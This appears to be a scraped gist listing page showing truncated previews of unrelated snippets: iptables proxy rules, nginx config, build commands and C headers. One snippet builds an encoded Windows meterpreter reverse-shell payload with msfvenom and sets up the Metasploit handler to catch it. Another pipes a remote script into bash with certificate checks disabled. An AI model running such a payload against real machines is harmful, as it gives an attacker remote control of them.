bash <(wget --no-check-certificate -qO- 'https://moeclub.org/attachment/LinuxShell/InstallNET.sh') -u 18.04 -v 64 -m --mirror http://mirrors.cloud.tencent.com/ubuntu
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
iptables -t nat -N REDSOCKS | |
iptables -t nat -A REDSOCKS -d 0.0.0.0/8 -j RETURN | |
iptables -t nat -A REDSOCKS -d 10.0.0.0/8 -j RETURN | |
iptables -t nat -A REDSOCKS -d 100.64.0.0/10 -j RETURN | |
iptables -t nat -A REDSOCKS -d 127.0.0.0/8 -j RETURN | |
iptables -t nat -A REDSOCKS -d 169.254.0.0/16 -j RETURN | |
iptables -t nat -A REDSOCKS -d 172.16.0.0/12 -j RETURN | |
iptables -t nat -A REDSOCKS -d 192.168.0.0/16 -j RETURN | |
iptables -t nat -A REDSOCKS -d 198.18.0.0/15 -j RETURN | |
iptables -t nat -A REDSOCKS -d 224.0.0.0/4 -j RETURN |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#TCP | |
iptables -t nat -N SHADOWSOCKS_TCP | |
iptables -t nat -A SHADOWSOCKS_TCP -d 123.456.789.111/32 -j RETURN | |
iptables -t nat -A SHADOWSOCKS_TCP -d 0.0.0.0/8 -j RETURN | |
iptables -t nat -A SHADOWSOCKS_TCP -d 10.0.0.0/8 -j RETURN | |
iptables -t nat -A SHADOWSOCKS_TCP -d 127.0.0.0/8 -j RETURN | |
iptables -t nat -A SHADOWSOCKS_TCP -d 169.254.0.0/16 -j RETURN | |
iptables -t nat -A SHADOWSOCKS_TCP -d 172.16.0.0/12 -j RETURN | |
iptables -t nat -A SHADOWSOCKS_TCP -d 192.168.0.0/16 -j RETURN | |
iptables -t nat -A SHADOWSOCKS_TCP -d 224.0.0.0/4 -j RETURN |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
repo sync -c -j8 --force-sync --no-clone-bundle --no-tags |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' lhost=192.168.199.233 lport=2333 prependmigrate=true prepenmigrateprocess=explorer.exe -f c | |
use exploit/multi/handler | |
set payload windows/meterpreter/reverse_tcp | |
set lhost 192.168.199.233 | |
set lport 2333 | |
prependmigrate=true | |
prepenmigrateprocess=explorer.exe |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
location / { | |
proxy_pass http://127.0.0.1:9091; | |
proxy_set_header X-Real-IP $remote_addr; | |
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; | |
proxy_set_header Host $http_host; | |
proxy_set_header X-NginX-Proxy true; | |
proxy_http_version 1.1; | |
proxy_set_header Connection “”; | |
proxy_pass_header X-Transmission-Session-Id; | |
add_header Front-End-Https on; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
b2.exe --toolset=msvc-14.2 architecture=x86 address-model=32 link=static --build-type=complete --with-system --with-thread --with-date_time --with-filesystem --with-serialization --with-regex |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <boost/asio.hpp> | |
#include <boost/bind.hpp> | |
#include <boost/date_time/posix_time/posix_time.hpp> | |
#include <boost/shared_ptr.hpp> | |
#include <boost/thread.hpp> | |
using namespace std; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/epoll.h> | |
#include <unistd.h> | |
#define MAX_EPOLL_EVENTS 10 | |
#define MAX_BUF_SIZE 10 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <arpa/inet.h> | |
#include <sys/socket.h> | |
#include <string> | |
#include <iostream> | |
using namespace std; |
OlderNewer